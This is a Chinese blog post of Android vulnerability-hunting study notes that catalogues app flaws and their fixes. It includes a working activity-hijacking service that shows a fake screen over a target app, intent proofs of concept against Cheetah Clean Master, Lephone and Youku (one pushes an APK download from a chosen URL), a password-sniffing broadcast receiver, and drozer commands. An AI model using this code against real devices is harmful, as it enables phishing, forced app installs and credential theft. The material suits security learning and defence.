Android漏洞挖掘

本文最后更新于:2022年2月18日 晚上

菜鸡准备开始尝试挖洞了。先来张图。

img

img

AndroidManifest配置相关的详情或漏洞

程序被任意调试

详情:AndroidManifest.xml中android:debuggable=”true”。

危害:导致app可以被任意调试

建议:将true改为false即可。

程序数据任意备份

详情:AndroidManifest.xml中android:allowBackup=”true”。

危害:导致app应用数据可以被备份导出。

建议:将true改为false即可。

组件暴露:建议使用android:protectionLevel=”signature”验证调用来源。

Activity组件

详情:Activity组件的exported被设置为true,或者未设置exported同时IntentFilter不为空时,可通过设置intent唤起activity。

危害:构造恶意数据对导出的activity进行越权攻击。

建议:exported设置为false,对组件进行权限控制和参数校验

参考学习:https://bbs.pediy.com/thread-269211.htm#msg_header_h3_1

image-20210905185725812

越权绕过

越权绕过界面验证。

1
2
3
防护策略:
(1)私有Activity不应被其他应用启动相对是安全的,创建activity时:设置exported属性为false
(2)公开暴露的Activity组件,可以被任意应用启动,创建Activity:设置export属性为true,谨慎处理接收的Intent,有返回数据不包含敏感信息,不应发送敏感信息,收到返回数据谨慎处理

钓鱼欺诈/Activity劫持

image-20210905191612675

复现

1
2
3
4
实现步骤:
(1)启动一个服务
(2)不断扫描当前进程
(3)找到目标后弹出伪装窗口

android6.0 劫持成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public class S1hackingService extends Service {
private boolean isStart;
HashMap<String, Class<?>> map = new HashMap<String, Class<?>>();
//新建线程
Handler handler = new Handler();
Runnable mTask = new Runnable() {
@Override
public void run() {
Log.e("TAG", "ABC");
int i = 1;
List<AndroidAppProcess> appProcessInfos = AndroidProcesses.getRunningAppProcesses();
Log.e("TAG", "=================正在枚举进程=======================");
//枚举进程
for( AndroidAppProcess appProcessInfo: appProcessInfos){
Log.w("TAG",appProcessInfo.name);
try {
Stat stat = appProcessInfo.stat();
int pid = stat.getPid();
int parentProcessId = stat.ppid();
long startTime = stat.stime();
int policy = stat.policy();
char state = stat.state();
Log.w("TAG","pid:"+pid+" parentProcessId:"+parentProcessId+" startTime:"+startTime+" policy:"+policy+" state:"+state);
} catch (IOException e) {
e.printStackTrace();
}
boolean isForeground = appProcessInfo.foreground;
Log.e("TAG============", appProcessInfo.name);
if (isForeground) {
if(map.containsKey(appProcessInfo.name)){
Log.e("准备劫持", appProcessInfo.name);
s1hacking(appProcessInfo.name);
}else {
Log.e("not us need app", appProcessInfo.name);
}
}
}
handler.postDelayed(mTask, 8000);
}
private void s1hacking(String arg){
if(!S1hackingApplication.judgeProgress(arg)){
Intent localIntent = new Intent(S1hackingService.this.getBaseContext(), S1hackingService.this.map.get(arg));
localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
S1hackingService.this.getApplication().startActivity(localIntent);
S1hackingApplication.addProgress(arg);
Log.e("TAG====hs1hacking","已经劫持成功");
}
}
};

@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}

public void onCreate(){
super.onCreate();
if(!isStart){
map.put("com.mwr.example.sieve", SecondActivity.class);
this.handler.postDelayed(this.mTask, 1000);
isStart = true;
}
}

@Override
public boolean stopService(Intent name) {
isStart = false;
Log.e("TAG====s1hacking","劫持服务停止");
S1hackingApplication.clearProgress();
return super.stopService(name);
}
}

拒绝服务攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
拒绝服务攻击源于程序没有对Intent。getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者向应用发送此类空数据、异常或者畸形数据来达到致使该应用crash的目的,我们可以通过intent发送空数据、异常或畸形数据给正常应用,导致其崩溃。本地拒绝服务可以被竞争方利用来攻击,使得自己的应用崩溃,造成破坏。
危害:拒绝服务漏洞对于锁屏应用、安全防护类软件危害是巨大的

安全防护:
1)空指针异常、类型转换异常、数组越界访问异常、类未定义异常、其它异常
2)谨慎处理接收的intent以及其携带的信息,对接收到的任何数据做try/catch处理,以及对不符合预期数据做异常处理
总结:
1.不需要被外部调用的activity设置android:exported="false"
2.若需要外部调用,需自定义signature或者signatureOrSystem级别的权限;
3.注册的组件请严格校验输入参数,注意空值判定和类型转换判断

> run app.activity.info -a com.mwr.example.sieve //获取activity信息
> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //启动pwlist

Service组件

同Activity组件暴露相同。

参考学习:https://bbs.pediy.com/thread-269255.htm

权限提升漏洞

1
2
当一个service配置了intent-filter默认是被导出的,如果没对调用Service进行权限限制或者是没有对调用者的身份进行有效验证,那么恶意构造的APP都可以对此Service传入恰当的参数进行调用,导致恶意行为发生比如调用具有system权限的删除卸载服务删除卸载其他应用。

猎豹清理大师内存清理权限泄露漏洞

1
2
Android应用程序猎豹清理大师(原金山清理大师)4.0.1及以下版本存在权限泄漏漏洞,泄露的权限为android.permission.RESTART_PACKAGES,用来结束进程来达到清理内存的目的。当没有申请此权限的app向猎豹清理大师发送相应的intent时,便可以结束后台运行的部分app进程。
猎豹清理大师暴露了com.cleanmaster.appwidget.WidgetService服务组件(详见下图),当向此服务发送action为com.cleanmaster.appwidget.ACTION_FASTCLEAN的intent时,便可结束后台运行的一些app进程。

image-20210908160946499

1
2
3
4
5
6
Intent intent = new Intent();
intent.setAction("com.cleanmaster.appwidget.ACTION_FASTCLEAN");
intent.setPackage("com.cleanmaster.appwidget.WidgetService");
startService(intent);

通过Intent隐私启动,给服务发送action为com.cleanmaster.appwidget.ACTION_FASTCLEAN的intent时,便可结束后台运行的一些app进程

乐phone手机任意软件包安装删除漏洞

1
2
3
4
5
6
7
8
9
乐phone手机出厂默认包含一个名为jp.aplix.midp.tools的应用包。本应用以system权限运行,并向其他应用提供ApkInstaller服务,用来进行对Apk文件的安装和删除。通过向ApkInstaller服务传递构造好的参数,没有声明任何权限的应用即可达到安装和删除任意Package的行为,对系统安全性产生极大影响。

Intent in = new Intent();
in.setComponent(new ComponentName("jp.aplix.midp.tools","jp.aplix.midp.tools.ApkInstaller"));
in.putExtra("action", "deleteApk");
in.putExtra("pkgName", "xxxxx");
startService(in);

通过Intent隐式启动,外部服务启动的方式,启动action为deleteApk的服务,来达到删除任意Package的行为

service劫持

1
攻击原理:隐式启动services,当存在同名services,先安装应用的services优先级高

消息伪造

1
暴露的Service对外接收Intent,如果构造恶意的消息放在Intent中传输,被调用的Service接收可能产生安全隐患

优酷Android 4.5客户端升级漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
优酷Android 4.5客户端组件暴露导致第三方应用可以触发其升级过程,同时可以指定升级下载的URL地址,可导致任意应用安装!
源代码:
protected void onHandleIntent(Intent intent) {
Intent v0;
String v23;
Serializable pushMsg = intent.getSerializableExtra("PushMsg");
......
AppVersionManager.getInstance(Youku.context).showAppAgreementDialog();
switch(pushMsg.type) {
case 1: {
goto label_53;
}
......
}
......
label_53:
intent.setFlags(876609536);
intent.setClass(this, UpdateActivity.class);
intent.putExtra("updateurl", pushMsg.updateurl);
intent.putExtra("updateversion", pushMsg.updateversion);
intent.putExtra("updatecontent", pushMsg.updatecontent);
intent.putExtra("updateType", 2);
this.startActivity(intent);
return;
......

分析:
我们可以发现从Intent从获取名为PushMsg的Serializable的数据,并根据其成员type来执行不同的流程,当type值为1时,执行App的升级操作。升级所需的相关数据如app的下载地址等也是从该序列化数据中获取。升级的具体流程在com.youku.ui.activity.UpdateActivity中,简单分析后发现升级过程未对下载地址等进行判断,因此可以任意指定该地址。


攻击:
1.创建一个Android App程序,在主Activity中的关键代码如下:


PushMsg pushMsg = new PushMsg();
pushMsg.type = 1;
pushMsg.updateurl = "http://gdown.baidu.com/data/wisegame/41839d1d510870f4/jiecaojingxuan_51.apk";
pushMsg.updatecontent = "This is Fake";

Intent intent = new Intent();
intent.setClassName("com.youku.phone","com.youku.service.push.StartActivityService");
intent.putExtra("PushMsg", pushMsg);
startService(intent);

其中PushMsg类不需要完整实现,只需要编译通过即可;
2.反编译优酷客户端的App得到smali代码,从中提取出PushMsg.smali;
3.反编译上述创建的APK文件,将原PushMsg类的smali文件替换为优酷中的PushMsg.smali文件,重新打包签名;
4.安装并运行重打包后的APK,会看到优酷的升级页面触发,如果设计的好的话,是可以诱导用户安装攻击者指定的APK文件的。

拒绝服务攻击

同Activity

雪球最新Android客户端存在空指针异常及信息泄露漏洞

1
2
雪球客户端版本:4.1
adb shell 下执行下面命令,虚拟机将崩溃。愿意在于空指针调用

image-20210908160946499

防护

1
2
3
4
5
6
7
8
9
10
11
12
安全防护:
1)私有service不定义intent-filter并且设置exported为false
2)公开的service设置exported为trueintent-filter可以定义或者不定义
3)合作service需对合作方的app签名做校验
4)只被应用本身使用的service应设置为私有
5)service接收的数据需要谨慎处理
6)内部service需要使用签名级别的protectionLevel来判断是否未内部应用调用
7)不应在service创建(onCreate方法被调用)的时候决定是否提供服务,应在onStartCommand/onBind/onHandleIntent等方法被调用时做判断
8)当service又返回数据的时候,因判断数据接收app是否又信息泄露的风险
9)有明确的服务需调用时使用显示意图
10)尽量不发送敏感信息
11)启动Activity时不设置intent的FLAG_ACTIVITY_NEW_TASK标签

ContentProvider组件

BroadcastReceiver组件

参考学习:https://bbs.pediy.com/thread-269309.htm

1
2
3
4
5
1. 广播机制分为广播发送者和广播接收者。
2. 应用场景
不同组件/不同应用之间进行通信、多线程通信、与Android系统通信
3. 广播机制模型
使用了设计模式中的观察者模式,三个基本角色:消息订阅者/发布者,消息中心(AMS)

img

1
2
3
4
4. 广播机制流程:
自定义广播接收者BroadcastReceiver
广播接收者注册:静态注册(AndroidManifest.xml中的<receiver>),动态注册(代码中调用 registerReceiver)
广播发送者定义和发送广播:本质是定义Intent,发送广播通过sendBroadcast()

image-20210912150855995

image-20210912150855995

1
2
3
两种广播分类:
1.标准广播和有序广播
2.普通广播、系统广播、有序广播、粘性广播、App应用内广播

image-20210912155436267

敏感信息泄露

案例1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
intent没有明确的接收者,恶意应用可注册接收者接收广播,如果存在敏感数据,则被窃取。
假如有应用广播只设置了action:
public void test(View view) {
Intent s1 = new Intent();
s1.setAction("com.test.broadcast.receiver");
s1.putExtra("password","s1lenc3");
s1.addFlags(0x1000000);
sendBroadcast(s1);
}

我们可以编写攻击应用代码:
public void onReceive(Context context, Intent intent) {
String pwd = null;
if(intent.getAction().equals("com.test.broadcast.receiver")){
pwd = intent.getStringExtra("password");
}
System.out.println(pwd);
}

<receiver android:name=".ReceiverTest" android:exported="true" android:enabled="true">
<intent-filter>
<action android:name="com.test.broadcast.receiver"/>
</intent-filter>
</receiver>

可使用本地广播方式修复:
LocalBroadcastManager.getInstance(this).sendBroadcast(s1);

案例2:Android 操作系统中通过 RSSI 广播暴露敏感数据 (CVE-2018-9581)

权限绕过

1
可以通过静态注册和动态注册两种方式注册广播接收器,动态注册的广播默认都是导出的,如果导出的BroadcastReceiver没有做权限控制,导致BroadcastReceiver组件可以接收一个外部可控的url、或者其他命令,导致攻击者可以越权利用应用的一些特定功能,比如发送恶意广播、伪造消息、任意应用下载安装、打开钓鱼网站等

案例1:小米MIUI漏洞可能导致硬件资源消耗

案例2:酷派最安全手机s6拨打电话权限绕过

案例3:酷派最安全手机s6程序锁绕过

消息伪造

1
暴露的Receiver对外接收Intent,如果构造恶意的消息放在Intent中传输,被调用的Receiver接收可能产生安全隐患

案例1:百度云盘手机版钓鱼、信息泄露和代码执行高危漏洞三合一

拒绝服务

1
2
如果敏感的BroadcastReceiver没有设置相应的权限保护,很容易受到攻击。最常见的是拒绝服务攻击。拒绝服务攻击指的是,传递恶意畸形的intent数据给广播接收器,广播接收器无法处理异常导致crash。
拒绝服务攻击的危害视具体业务场景而定,比如一个安全防护产品的拒绝服务、锁屏应用的拒绝服务、支付进程的拒绝服务等危害就是巨大的。

案例1:QQ手机管家拒绝服务漏洞

案例2:fourgoats.apk拒绝服务攻击崩溃

1
2
3
4
dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats
Package: org.owasp.goatdroid.fourgoats
org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver
Permission: null

image-20211203150903530

1
2
3
4
5
发送广播测试:
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 111111 --extra string message s1lenc3
发送恶意广播,intent传入畸形数据或空数据:
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
程序崩溃。

安全防护

  • 私有广播接收器设置exported=false,并且不配置intent-filter。(私有广播接收器依然能接收到同UID的广播)。
  • 对接收来的广播进行验证。
  • 内部app之间的广播使用protectionLevel=signature验证其是否真是内部app。
  • 返回结果时需注意接收app是否会泄露信息。
  • 发送的广播包含敏感信息时需指定广播接收器,使用显示意图或者setPackage(String packageName)。
  • 使用LocalBroadcastManager。

Intent Scheme URLs攻击

详情:在AndroidManifest.xml设置Scheme协议之后,可以通过浏览器打开对应的Activity。

危害:通过访问浏览器构造Intent语法唤醒app相应组件,可能导致拒绝服务甚至越权调用以及提权漏洞。

建议:对数据进行安全检查,配置category filter,添加android.intent.category.BROWSABLE方式规避风险。

信息泄露漏洞

继续参考看雪大佬的系列文章学习:https://bbs.pediy.com/thread-271122.htm

1
信息泄露首先要知道Android系统数据的几种存储方式:文件存储、SharedPreferences、网络存储、SQLite数据库、ContentProvider。下面对这几种存储方式进行介绍。

文件存储

大佬给的图已经很清晰了。

image-20220102214434734

1
2
3
4
5
6
7
8
9
10
11
12
13
14
内部存储:
内部存储一般是在/data/目录下,只有root后的手机可以访问这个文件夹,重点有以下几类文件夹:
/data/app/ 这个文件夹存储手机上安装的apk文件
/data/data/包名/share_prefs 存储对应的应用程序中的shareprefence存储文件
/data/data/包名/cache 存储对应的应用程序中的cache缓存文件
/data/data/包名/databases 存储对应的应用程序中的数据库文件
/data/data/包名/files 存储对应的应用程序中的资源文件
上图中也有提到在代码中获取这些文件的API,在内部存储文件夹里,只能访问自己app的数据,并且app卸载后,这些文件数据也被删除。
外部存储:
外部存储分为私有目录和公有目录,公有目录任何程序都可以访问,应用卸载,数据不删除,私有目录只有自身可以访问,应用卸载,数据随之 删除。
私有目录地址:/storage/emulated/0/Android/data/packagename,可以直接通过Activity或Context进行调用API获取文件数 据。./cache文件夹下是应用的缓存文件,./files下是存放应用的数据。
公有目录:/storage/extSdCard/Android/data/packagename/files,公有目录需要申请读写权限,在AndroidManifest.xml文件 中进行注册,在代码中可通过Enviroment进行API调用来访问公有目录的文件。
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>

SharedPreferences

​ SharedPreferences是一个轻量级的存储类,特别适合用于保存软件配置参数。(是用xml文件存放数据,文件存放在/data/data/pack

agename/shared_prefs目录下)。

  • 存储数据

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    1、使用Activity类的getSharedPreferences方法获得SharedPreferences对象;
    2、使用SharedPreferences接口的edit获得SharedPreferences.Editor对象;
    3、通过SharedPreferences.Editor接口的putXXX方法保存key-value对;
    4、通过过SharedPreferences.Editor接口的commit方法保存key-value对。

    //MODE_PRIVATE(默认):只有当前的应用程序才能对文件进行读写
    SharedPreferences sharedPreferences = getSharedPreferences("data", MODE_PRIVATE);
    //创建editor对象
    SharedPreferences.Editor editor = sharedPreferences.edit();
    ......
    //写入数据
    editor.putString("username", value1);
    editor.putString("passwd", value2);
    //提交保存
    editor.commit();

  • 读取数据

    1
    2
    3
    4
    SharedPreferences pref = getSharedPreferences("data",MODE_PRIVATE);
    String name = pref.getString("username");
    int age = pref.getInt("number");
    boolean isExist = pref.getBoolean("isExist");

WebView组件及服务器通信相关的风险或漏洞

webview存在本地Java接口

详情:android的webview组件有一个非常特殊接口函数addJavascriptInterface,能实现本地java与js之间交互。

危害:targetSdkVersion小于17时,利用此接口可以远程执行任意代码。

建议:不使用此接口,使用注入javascript和第三方协议的替代方案。

WebView组件远程代码执行(调用getClassLoader)

详情:targetSdkVersion小于17时,并在Context子类中使用addJavascriptInterface绑定this对象。

危害:通过调用getClassLoader绕过getClass方法的限制。

建议:targetSdkVersion大于17。

WebView忽略SSL证书错误

详情:WebView调用onReceivedSslError方法时,直接执行handler.proceed()来忽略该证书错误。

危害:可能引起中间人攻击。

建议:不要重写onReceivedSslError方法,或者对错误进行业务判断。

WebView启用访问文件数据

详情:setAllowFileAccess(true),可通过webview访问私有目录下的文件数据。

危害:此方法默认为true,绕过同源策略能够对私有目录文件进行访问,导致隐私泄漏。

建议:设置为false,禁止访问私有文件数据。

SSL通信服务端/客户端检测信任任意证书

详情:自定义SSL x509 TrustManager,重写checkServerTrusted/checkClientTrusted方法,方法内不做任何服务端的证书校验。

危害:中间人攻击。

建议:双端进行严格证书校验。

HTTPS关闭主机名验证

详情:构造HttpCLient时,HostnameVerifier参数为ALLOW_ALL_HOSTNAME_VERIFIER或空。

危害:中间人攻击。

建议:加密通信被还原为明文通信。

开放socket端口

详情:App绑定端口进行监听,建立连接后可接收外部发送的数据。

危害:构造恶意数据对端口进行测试,对于绑定了0.0.0.0的app可发起远程攻击。

建议:绑定127.0.0.1,对接受数据进行校验检测。

数据安全风险

数据存储

SD卡数据被第三方程序访问

详情:存储在SD卡中的内容可以调用getExternalStorageDirectory访问。

建议:存储信息到私有目录,对敏感数据加密。

全局File可读写漏洞-openFileOutput

详情:openFileOutput方法创建内部文件时,将文件设置了全局的可读权限MODE_WORLD_READABLE/MODE_WORLD_WRITEABLE。。

危害:恶意读取文件内容。

建议:确认是否存在敏感数据,删除全局可读/写属性。

私有文件泄漏风险-getSharedPreferences

配置文件可读可写

详情:getSharedPreferences第二个参数为MODE_WORLD_READABLE 或MODE_WORLD_WRITEABLE。

危害:信息泄漏,篡改内容,影响程序正常运行。

建议:参数设置MODE_PRIVATE。禁止使用MODE_WORLD_READABLE |MODE_WORLD_WRITEABLE模式。

数据加密

AES弱加密

详情:使用“AES/ECB/NoPadding”或“AES/ECB/PKCS5padding”的模式。

危害:破解难度低。

建议:使用cbc或cfb加密模式。

随机数不安全使用

详情:调用SecureRandom类中的setSeed方法。

危害:生成的随机数具有确定性,存在被破解的可能性。

建议:使用/dev/urandom或/dev/random来初始化伪随机数生成器。

AES/DES硬编码密钥

详情:加密时采用硬编码在程序中。

危害:通过反编译获取密钥可以轻易揭秘APP通信数据。

建议:密钥加密存储或进行加解密运算。

文件目录遍历类漏洞

Provider文件目录遍历

详情:Provider被导出并且覆写了openFile方法,没有对Content Query Uri进行有效判断或过滤。

危害:利用openFile接口进行文件目录遍历,可达到访问任意可读文件的目的。

建议:不覆写openFile方法,对参数进行安全校验。

unzip解压缩漏洞

详情:解压zip,使用getName获取压缩文件名后未进行校验。

危害:构造恶意zip文件,覆盖相应的的文件导致任意代码执行。

建议:解压文件时,判断是否有../特殊字符。

文件格式解析类漏洞

FFmpeg文件读取

详情:使用了低版本的FFmpeg库进行视频解码。

危害:低版本可能存在本地文件读取漏洞,可以通过构造恶意文件获取本地文件内容。

建议:升级最新版。

安卓“Janus”漏洞

详情:在原始apk前部添加一个恶意的classes.dex文件(A文件),安卓系统在校验时计算了A文件的hash值,并以“classes.dex”为字符串作为key保存,然后计算原本的classes.dex(B文件),同样的key保存,之后将会覆盖A文件的hash值,系统认为apk没有被修改,完成安装,运行apk会优先执行文件A,忽略B。

危害:绕过安卓系统的signature scheme V1签名机制,进而直接对App进行篡改。

建议:禁止安装多个同名apk文件。

内存堆栈类漏洞

未使用编译器堆栈保护技术

详情:stack canaries漏洞缓解技术,函数调用时,向栈帧内压入额外的canary随机数,栈溢出时,canary先被覆盖,之后才是ebp和返回地址。函数返回时,会将canary与.data副本的值进行比较,不相同,说明发生了栈溢出。

危害:发生栈溢出时系统不会对程序进行保护。

建议:使用NDK编译so时,在Android.mk文件中添加:LOCAL_CFLAGS := -Wall -O2 -U_FORTIFY_SOURCE -fstack-protector-all

未使用地址空间随机化技术

详情:PIE,地址随机分配。

危害:shellcode执行难度降低,攻击成功率增加。

建议:NDK编译so时,加入LOCAL_CFLAGS := -fpie -pie开启对PIE的支持。

libupnp栈溢出漏洞

详情:使用了低于1.6.18版本的libupnp库文件。

危害:代码执行。

建议:升级库到1.6.18版本或以上。

动态类漏洞

DEX文件动态加载

详情:使用DEXClassLoader加载外部apk,dex等文件,外部文件无法控制时,无法保证加载的文件是否安全。

危害:加载恶意dex文件会导致任意命令的执行。

建议:加载外部文件前,必须使用校验签名或MD5等方式确认外部文件的安全性。

动态注册广播

详情:使用registerReceiver动态注册的广播在组件的生命周期里是默认导出的。

危害:拒绝服务、数据泄露、越权调用。

建议:使用带权限检验的registerReceiver API进行动态广播的注册。

校验或限定不严导致的风险或漏洞

Fragment注入

详情:通过导出的PreferenceActivity的子类,没有正确处理intent的extra值。

危害:攻击者可绕过限制访问未授权页面。

建议:使用isValidFragment方法中进行fragment名的合法性校验。

隐式意图调用

详情:封装Intent时采用隐式设置,只设定action,未限定具体的接受对象,导致intent可被其他应用获取并读取其中的数据。

危害:Intent被第三方劫持,导致内部隐私数据泄漏。

建议:改为显示调用。

命令行调用类相关的风险或漏洞

动态链接库中包含执行命令的函数

详情:native程序,执行系统命令时,对接收的参数执行命令时没有做过滤或检验。

危害:攻击者传入任意命令,导致命令执行。

建议:对参数进行严格过滤。

其他

应用反编译

漏洞:APK 包非常容易被反编译成可读文件,稍加修改就能重新打包成新的 APK。
利用:软件破解,内购破解,软件逻辑修改,插入恶意代码,替换广告商 ID。
建议:使用 ProGuard 等工具混淆代码,重要逻辑用 NDK 实现。
例子:反编译重打包 FlappyBird,把广告商 ID 换了,游戏改加插一段恶意代码等等。

数据的存储与传输

漏洞:外部存储(SD 卡)上的文件没有权限管理,所有应用都可读可写。开发者把敏感信息明文存在 SD 卡上,或者动态加载的 payload 放在 SD 卡上。
利用:窃取敏感信息,篡改配置文件,修改 payload 逻辑并重打包。
建议:不要把敏感信息放在外部存储上面;在动态加载外部资源的时候验证文件完整性。

漏洞:使用全局可读写(MODE_WORLD_READABLE,MODE_WORLD_WRITEABLE)的内部存储方式,或明文存储敏感信息(用户账号密码等)。
利用:全局读写敏感信息,或 root 后读取明文信息。
建议:不适用全局可读写的内部存储方式,不明文存储用户账号密码。

密码泄露

漏洞:密码明文存储,传输。
利用

  • root 后可读写内部存储。
  • SD 卡全局可读写。
  • 公共 WiFi 抓包获取账号密码。

建议:实用成熟的加密方案。不要把密码明文存储在 SD 卡上。

组件暴露 (Activity, Service, Broadcast Receiver, Content Provider)

漏洞

  • 组件在被调用时未做验证。
  • 在调用其他组件时未做验证。

利用

  • 调用暴露的组件,达到某种效果,获取某些信息,构造某些数据。(比如:调用暴露的组件发短信、微博等)。
  • 监听暴露组件,读取数据。

建议:验证输入信息、验证组件调用等。android:exported 设置为 false。使用 android:protectionLevel=”signature” 验证调用来源。

WebView

漏洞

  • 恶意 App 可以注入 JavaScript 代码进入 WebView 中的网页,网页未作验证。
  • 恶意网页可以执行 JavaScript 反过来调用 App 中注册过的方法,或者使用资源。

利用

  • 恶意程序嵌入 Web App,然后窃取用户信息。
  • 恶意网页远程调用 App 代码。更有甚者,通过 Java Reflection 调用 Runtime 执行任意代码。

建议:不使用 WebView 中的 setJavaScriptEnabled(true),或者使用时对输入进行验证。

其他漏洞

  • ROOT 后的手机可以修改 App 的内购,或者安装外挂 App 等。
  • Logcat 泄露用户敏感信息。
  • 恶意的广告包。
  • 利用 next Intent。

总结

Android 应用的漏洞大部分都是因为开发人员没有对输入信息做验证造成的,另外因为 Intent 这种特殊的机制,需要过滤外部的各种恶意行为。再加上 Android 应用市场混乱。所以现在 Android 应用的漏洞,恶意软件,钓鱼等还在不断增多。再加上 root 对于 App 沙箱的破坏,Android 升级的限制。

文章:https://www.zhihu.com/question/22933619


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!